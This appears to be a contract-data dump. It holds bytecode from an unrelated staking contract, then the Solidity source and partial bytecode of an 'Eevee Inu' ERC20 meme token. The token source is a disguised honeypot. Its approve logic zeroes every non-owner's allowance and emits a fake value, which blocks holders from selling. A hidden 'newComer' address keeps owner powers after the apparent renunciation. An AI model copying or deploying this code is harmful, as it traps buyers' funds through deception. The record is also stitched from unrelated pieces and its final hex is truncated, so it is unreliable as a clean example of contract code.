7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e0810182526006909302909101805483526001810154938301939093526002808401549183019190915260038301546060830181905260048401546080840181905260059094015480830b830b830b60a085015263010000009004820b820b90910b60c08301529092504210612c8b5750670de0b6b3a76400005b60208201516000612cb2670de0b6b3a7640000610c1e612cab868a613bfe565b8590613b49565b9050612cbe8782613bfe565b9650505050508080612ccf90615ce1565b915050612b75565b50509193909250565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601b60209081526040808320805482518185028101850190935280835260609492939192909184015b82821015612daa5760008481526020908190206040805160e08101825260068602909201805483526001808201548486015260028083015493850193909352600382015460608501526004820154608085015260059091015480830b830b830b60a085015263010000009004820b820b90910b60c08301529083529092019101612d25565b505050509050919050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612df2575060065473ffffffffffffffffffffffffffffffffffffffff1633145b612e7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b73ffffffffffffffffffffffffffffffffffffffff166000908152601f6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612f0f575060065473ffffffffffffffffffffffffffffffffffffffff1633145b612f9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601c602052604090205460ff161561302b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6164647265737320616c726561647920657869737473000000000000000000006044820152606401610d2d565b73ffffffffffffffffffffffffffffffffffffffff166000818152601c6020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155601d805491820181559091527f6d4407e7be21f808e6509aa9fa9143369579dd7d760fe20a2c09680fc146134f0180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480613111575060065473ffffffffffffffffffffffffffffffffffffffff1633145b61319d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b602080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061320c575060065473ffffffffffffffffffffffffffffffffffffffff1633145b613298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061331c575060065473ffffffffffffffffffffffffffffffffffffffff1633145b6133a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b60075415806133b8575060075442115b61346a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152605860248201527f50726576696f7573207265776172647320706572696f64206d7573742062652060448201527f636f6d706c657465206265666f7265206368616e67696e67207468652064757260648201527f6174696f6e20666f7220746865206e657720706572696f640000000000000000608482015260a401610d2d565b600a8190556040518181527ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d390602001610da5565b60005473ffffffffffffffffffffffffffffffffffffffff163314806134dc575060065473ffffffffffffffffffffffffffffffffffffffff1633145b613568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b60208054911515640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffff9315156301000000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffff9515156201000002959095167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff909316929092179390931791909116179055565b6000601654600014806136155750601754155b15613621575060135490565b611223613650601754610c1e670de0b6b3a764000061143560095461143560085461364a6122fe565b90613b07565b60135490613bfe565b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c08101829052819060005b73ffffffffffffffffffffffffffffffffffffffff85166000908152601b60205260409020548110156137eb5773ffffffffffffffffffffffffffffffffffffffff85166000908152601b60205260409020805482908110613721577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825260069093029091018054835260018101549383018490526002808201549284019290925260038101546060840152600481015460808401526005015480820b820b820b60a084015263010000009004810b810b900b60c0820152925080156137d85760006137a78460a00151614ae7565b905060006137b88560c00151614ae7565b90506137d36137cc83838860200151614f79565b8790613bfe565b955050505b50806137e381615ce1565b915050613696565b50611471826002613ac5565b60005473ffffffffffffffffffffffffffffffffffffffff16331480613834575060065473ffffffffffffffffffffffffffffffffffffffff1633145b6138c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610d2d565b602080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff81166101009182900460ff1615909102179055565b336000908152601e6020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615613995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4164647265737320616c726561647920657869737473000000000000000000006044820152606401610d2d565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601c602052604090205460ff16613a24576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f496e76616c6964206d69677261746f72206164647265737300000000000000006044820152606401610d2d565b336000908152601e6020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b600754421115613a9257613a92615036565b565b600754421115613aa657613a92615036565b6000613ab0613602565b60138190559050613abf6122fe565b60085550565b6000610c2a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506152a3565b6000610c2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506152f4565b600082613b5857506000610c84565b6000613b648385615c2c565b905082613b718583615c18565b14610c2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610d2d565b600080613c0b8385615c00565b905083811015610c2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d2d565b846001613c84828261533f565b60205462010000900460ff16158015613ca0575060205460ff16155b80613cbf5750336000908152601c602052604090205460ff1615156001145b613d4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f5374616b696e67206973207061757365642c206f72206d6967726174696f6e2060448201527f69732068617070656e696e6700000000000000000000000000000000000000006064820152608401610d2d565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601f602052604090205460ff1615613ddb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4164647265737320686173206265656e20677265796c697374656400000000006044820152606401610d2d565b600d54841015613e47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4d696e696d756d207374616b652074696d65206e6f74206d65740000000000006044820152606401610d2d565b600c54841115613ed9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f596f752061726520747279696e6720746f206c6f636b20666f7220746f6f206c60448201527f6f6e6700000000000000000000000000000000000000000000000000000000006064820152608401610d2d565b6000806000613ee98860016118c1565b935093509350506000613efb88610c31565b9050601b60008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060e001604052808b8152602001868152602001898152602001613f6c8b8b613bfe90919063ffffffff16565b8152602080820194909452600286810b60408084019190915286820b606093840152845460018082018755600096875295879020855160069092020190815595840151948601949094558284015185820155908201516003850155608082015160048086019190915560a08301516005958601805460c090950151840b62ffffff9081166301000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000009096169290940b9390931617929092179055915490517f42842e0e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8c811693820193909352306024820152604481018b90529116906342842e0e90606401600060405180830381600087803b1580156140a257600080fd5b505af11580156140b6573d6000803e3d6000fd5b50506016546140c89250905084613bfe565b60165573ffffffffffffffffffffffffffffffffffffffff8a166000908152601860205260409020546140fb9084613bfe565b73ffffffffffffffffffffffffffffffffffffffff8b1660009081526018602052604081209190915561412f908b9061533f565b60408051848152602081018a905290810188905273ffffffffffffffffffffffffffffffffffffffff8a811660608301528b16907f31784953dbbbbfd278bcb87e70e78b0979b28f456dec0e601b24aa9a2727d1ce9060800160405180910390a250505050505050505050565b6141a683836146a5565b506141ed6040518060e001604052806000815260200160008152602001600081526020016000815260200160008152602001600060020b8152602001600060020b81525090565b600060208201819052805b73ffffffffffffffffffffffffffffffffffffffff86166000908152601b60205260409020548110156143895773ffffffffffffffffffffffffffffffffffffffff86166000908152601b60205260409020805482908110614283577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060060201600001548414156143775773ffffffffffffffffffffffffffffffffffffffff86166000908152601b602052604090208054829081106142fa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020918290206040805160e08101825260069093029091018054835260018101549383019390935260028084015491830191909152600383015460608301526004830154608083015260059092015480830b830b830b60a083015263010000009004820b820b90910b60c08201529250905080614389565b8061438181615ce1565b9150506141f8565b50815183146143f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f546f6b656e204944206e6f7420666f756e6400000000000000000000000000006044820152606401610d2d565b816060015142101580614414575060205460ff6101009091041615156001145b806144335750336000908152601c602052604090205460ff1615156001145b614499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f5374616b65206973207374696c6c206c6f636b656421000000000000000000006044820152606401610d2d565b6020820151801561469d576016546144b19082613b07565b60165573ffffffffffffffffffffffffffffffffffffffff86166000908152601860205260409020546144e49082613b07565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260186020908152604080832093909355601b90522080548390811061454e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602082206006909102018181556001810182905560028101829055600381018290556004810182905560050180547fffffffffffffffffffffffffffffffffffffffffffffffffffff0000000000001690556145b090879061533f565b6005546040517f42842e0e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff878116602483015260448201879052909116906342842e0e90606401600060405180830381600087803b15801561462a57600080fd5b505af115801561463e573d6000803e3d6000fd5b5050604080518481526020810188905273ffffffffffffffffffffffffffffffffffffffff898116828401529151918a1693507f88ac64fdaa180cbd77b625cbb795a39a7b7d1b3b478d09f28f6bb89ee0fa1e51925081900360600190a25b505050505050565b60008260016146b4828261533f565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260156020526040902054925082156149595773ffffffffffffffffffffffffffffffffffffffff80861660009081526015602052604081205560045461471891168585614977565b60008060005b73ffffffffffffffffffffffffffffffffffffffff88166000908152601a60205260409020548110156148e8576040805160808101825273ffffffffffffffffffffffffffffffffffffffff8a166000908152601a6020529182208054829190859081106147b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209190910154835273ffffffffffffffffffffffffffffffffffffffff8c8116848301526fffffffffffffffffffffffffffffffff6040808601829052606095860182905260055481517ffc6f786500000000000000000000000000000000000000000000000000000000815288516004820152948801518416602486015290870151821660448501529486015116606483015293945090928392169063fc6f7865906084016040805180830381600087803b15801561487d57600080fd5b505af1158015614891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906148b59190615996565b90925090506148c48683613bfe565b95506148d08682613bfe565b945050505080806148e090615ce1565b91505061471e565b50600454604080518781526020810185905290810183905273ffffffffffffffffffffffffffffffffffffffff91821660608201528782166080820152908816907f96ad88e4f6444f9224c830f0448b73c991f51cce39424918e9cef4a691e02b489060a00160405180910390a250505b505092915050565b60008183106149705781610c2a565b5090919050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790529151600092839290871691614a0e9190615ac3565b6000604051808303816000865af19150503d8060008114614a4b576040519150601f19603f3d011682016040523d82523d6000602084013e614a50565b606091505b5091509150818015614a7a575080511580614a7a575080806020019051810190614a7a919061587c565b614ae0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610d2d565b5050505050565b60008060008360020b12614afe578260020b614b0b565b8260020b614b0b90615d6b565b9050614b367ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff27618615d2e565b60020b811315614ba2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f54000000000000000000000000000000000000000000000000000000000000006044820152606401610d2d565b600060018216614bc357700100000000000000000000000000000000614bd5565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615614c14576080614c0f826ffff97272373d413259a46990580e213a615c2c565b901c90505b6004821615614c3e576080614c39826ffff2e50f5f656932ef12357cf3c7fdcc615c2c565b901c90505b6008821615614c68576080614c63826fffe5caca7e10e4e61c3624eaa0941cd0615c2c565b901c90505b6010821615614c92576080614c8d826fffcb9843d60f6159c9db58835c926644615c2c565b901c90505b6020821615614cbc576080614cb7826fff973b41fa98c081472e6896dfb254c0615c2c565b901c90505b6040821615614ce6576080614ce1826fff2ea16466c96a3843ec78b326b52861615c2c565b901c90505b6080821615614d10576080614d0b826ffe5dee046a99a2a811c461f1969c3053615c2c565b901c90505b610100821615614d3b576080614d36826ffcbe86c7900a88aedcffc83b479aa3a4615c2c565b901c90505b610200821615614d66576080614d61826ff987a7253ac413176f2b074cf7815e54615c2c565b901c90505b610400821615614d91576080614d8c826ff3392b0822b70005940c7a398e4b70f3615c2c565b901c90505b610800821615614dbc576080614db7826fe7159475a2c29b7443b29c7fa6e889d9615c2c565b901c90505b611000821615614de7576080614de2826fd097f3bdfd2022b8845ad8f792aa5825615c2c565b901c90505b612000821615614e12576080614e0d826fa9f746462d870fdf8a65dc1f90e061e5615c2c565b901c90505b614000821615614e3d576080614e38826f70d869a156d2a1b890bb3df62baf32f7615c2c565b901c90505b618000821615614e68576080614e63826f31be135f97d08fd981231505542fcfa6615c2c565b901c90505b62010000821615614e94576080614e8f826f09aa508b5b7a84e1c677de54f3e99bc9615c2c565b901c90505b62020000821615614ebf576080614eba826e5d6af8dedb81196699c329225ee604615c2c565b901c90505b62040000821615614ee9576080614ee4826d2216e584f5fa1ea926041bedfe98615c2c565b901c90505b62080000821615614f11576080614f0c826b048a170391f7dc42444e8fa2615c2c565b901c90505b60008460020b1315614f4a57614f47817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615c18565b90505b614f5964010000000082615d1a565b15614f65576001614f68565b60005b6114719060ff16602083901c615c00565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161115614fb3579192915b73ffffffffffffffffffffffffffffffffffffffff841661502c7bffffffffffffffffffffffffffffffff000000000000000000000000606085901b16614ffa8787615c69565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16615461565b6114719190615c18565b60075442116150a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f506572696f6420686173206e6f742065787069726564207965742100000000006044820152606401610d2d565b6000600a546150bb60075442613b0790919063ffffffff16565b6150c59190615c18565b600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925291925060009173ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b15801561513557600080fd5b505afa158015615149573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061516d9190615939565b90508061518d61517e846001615c00565b600a5460095461143591613b49565b111561521b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4e6f7420656e6f7567682046585320617661696c61626c6520666f722072657760448201527f61726473210000000000000000000000000000000000000000000000000000006064820152608401610d2d565b600a5461523a9061523190611435856001613bfe565b60075490613bfe565b6007556000615247613602565b601381905590506152566122fe565b60085560055460405173ffffffffffffffffffffffffffffffffffffffff90911681527f6f2b3b3aaf1881d69a5d40565500f93ea73df36e7b6a29bf48b21479a9237fe99060200161204d565b600081836152de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d9190615baf565b5060006152eb8486615c18565b95945050505050565b60008184841115615332576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d9190615baf565b5060006152eb8486615c9e565b801561534d5761534d613a94565b73ffffffffffffffffffffffffffffffffffffffff82161561120657600080600061537785612aff565b92509250925061538685615622565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260106020526040902082905582811061540a5760006153c18285613b07565b6017549091506153d19082613bfe565b6017556153de8482613bfe565b73ffffffffffffffffffffffffffffffffffffffff871660009081526019602052604090205550614ae0565b60006154168483613b07565b6017549091506154269082613b07565b6017556154338482613b07565b73ffffffffffffffffffffffffffffffffffffffff8716600090815260196020526040902055505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff85870985870292508281108382030391505080600014156154b957600084116154ae57600080fd5b508290049050610c2a565b8084116154c557600080fd5b600084868809808403938111909203919050600085615504817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff615c9e565b61550f906001615c00565b1695869004959384900493600081900304600101905061552f8184615c2c565b909317926000615540876003615c2c565b600218905061554f8188615c2c565b61555a906002615c9e565b6155649082615c2c565b90506155708188615c2c565b61557b906002615c9e565b6155859082615c2c565b90506155918188615c2c565b61559c906002615c9e565b6155a69082615c2c565b90506155b28188615c2c565b6155bd906002615c9e565b6155c79082615c2c565b90506155d38188615c2c565b6155de906002615c9e565b6155e89082615c2c565b90506155f48188615c2c565b6155ff906002615c9e565b6156099082615c2c565b90506156158186615c2c565b9998505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff81161561568357600061564982610b91565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260156020908152604080832093909355601354601490915291902055505b50565b805161569181615e2e565b919050565b805161569181615e5e565b80516fffffffffffffffffffffffffffffffff8116811461569157600080fd5b805161569181615e6d565b6000602082840312156156dd578081fd5b8135610c2a81615e2e565b600080604083850312156156fa578081fd5b823561570581615e2e565b9150602083013561571581615e2e565b809150509250929050565b60008060008060808587031215615735578182fd5b843561574081615e2e565b9350602085013561575081615e2e565b925060408501359150606085013567ffffffffffffffff80821115615773578283fd5b818701915087601f830112615786578283fd5b81358181111561579857615798615dff565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156157de576157de615dff565b816040528281528a60208487010111156157f6578586fd5b82602086016020830137918201602001949094529598949750929550505050565b60008060408385031215615829578182fd5b823561583481615e2e565b946020939093013593505050565b60008060008060808587031215615857578384fd5b843561586281615e2e565b966020860135965060408601359560600135945092505050565b60006020828403121561588d578081fd5b8151610c2a81615e50565b6000806000606084860312156158ac578283fd5b83356158b781615e50565b925060208401356158c781615e50565b915060408401356158d781615e50565b809150509250925092565b6000806000606084860312156158f6578283fd5b833561590181615e5e565b9250602084013561591181615e5e565b915060408401356158d781615e6d565b600060208284031215615932578081fd5b5035919050565b60006020828403121561594a578081fd5b5051919050565b60008060408385031215615963578081fd5b82359150602083013561571581615e50565b60008060408385031215615987578182fd5b50508035926020909101359150565b600080604083850312156159a8578182fd5b505080516020909101519092909150565b6000806000606084860312156159cd578081fd5b505081359360208301359350604090920135919050565b6000806000806000806000806000806000806101808d8f031215615a0657898afd5b8c516bffffffffffffffffffffffff81168114615a21578a8bfd5b9b50615a2f60208e01615686565b9a50615a3d60408e01615686565b9950615a4b60608e01615686565b9850615a5960808e016156c1565b9750615a6760a08e01615696565b9650615a7560c08e01615696565b9550615a8360e08e016156a1565b94506101008d015193506101208d01519250615aa26101408e016156a1565b9150615ab16101608e016156a1565b90509295989b509295989b509295989b565b60008251615ad5818460208701615cb5565b9190910192915050565b602080825282518282018190526000919060409081850190868401855b82811015615b5e5781518051855286810151878601528581015186860152606080820151908601526080808201519086015260a080820151600290810b9187019190915260c091820151900b9085015260e09093019290850190600101615afc565b5091979650505050505050565b6020808252825182820181905260009190848201906040850190845b81811015615ba357835183529284019291840191600101615b87565b50909695505050505050565b6020815260008251806020840152615bce816040850160208701615cb5565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60008219821115615c1357615c13615da1565b500190565b600082615c2757615c27615dd0565b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615615c6457615c64615da1565b500290565b600073ffffffffffffffffffffffffffffffffffffffff83811690831681811015615c9657615c96615da1565b039392505050565b600082821015615cb057615cb0615da1565b500390565b60005b83811015615cd0578181015183820152602001615cb8565b838111156113625750506000910152565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615d1357615d13615da1565b5060010190565b600082615d2957615d29615dd0565b500690565b60008160020b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff800000811415615d6457615d64615da1565b9003919050565b60007f8000000000000000000000000000000000000000000000000000000000000000821415615d9d57615d9d615da1565b0390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461568357600080fd5b801515811461568357600080fd5b8060020b811461568357600080fd5b62ffffff8116811461568357600080fdfea2646970667358221220332d39915e18bedb262c6fa13d5507823cf2cf90491d4966ce7bb481fd2d6fc164736f6c63430008040033
[ 0, 4, 7, 19, 12 ]
0xf397ad6deb26428cf65748b538becaf3f9a04294
/* Website: https://eeveeinu.world/ Telegram: https://t.me/EeveeInuETH */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract EeveeInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = ' Eevee Inu '; string private _symbol = 'Eevee Inu '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b5050505090509081019060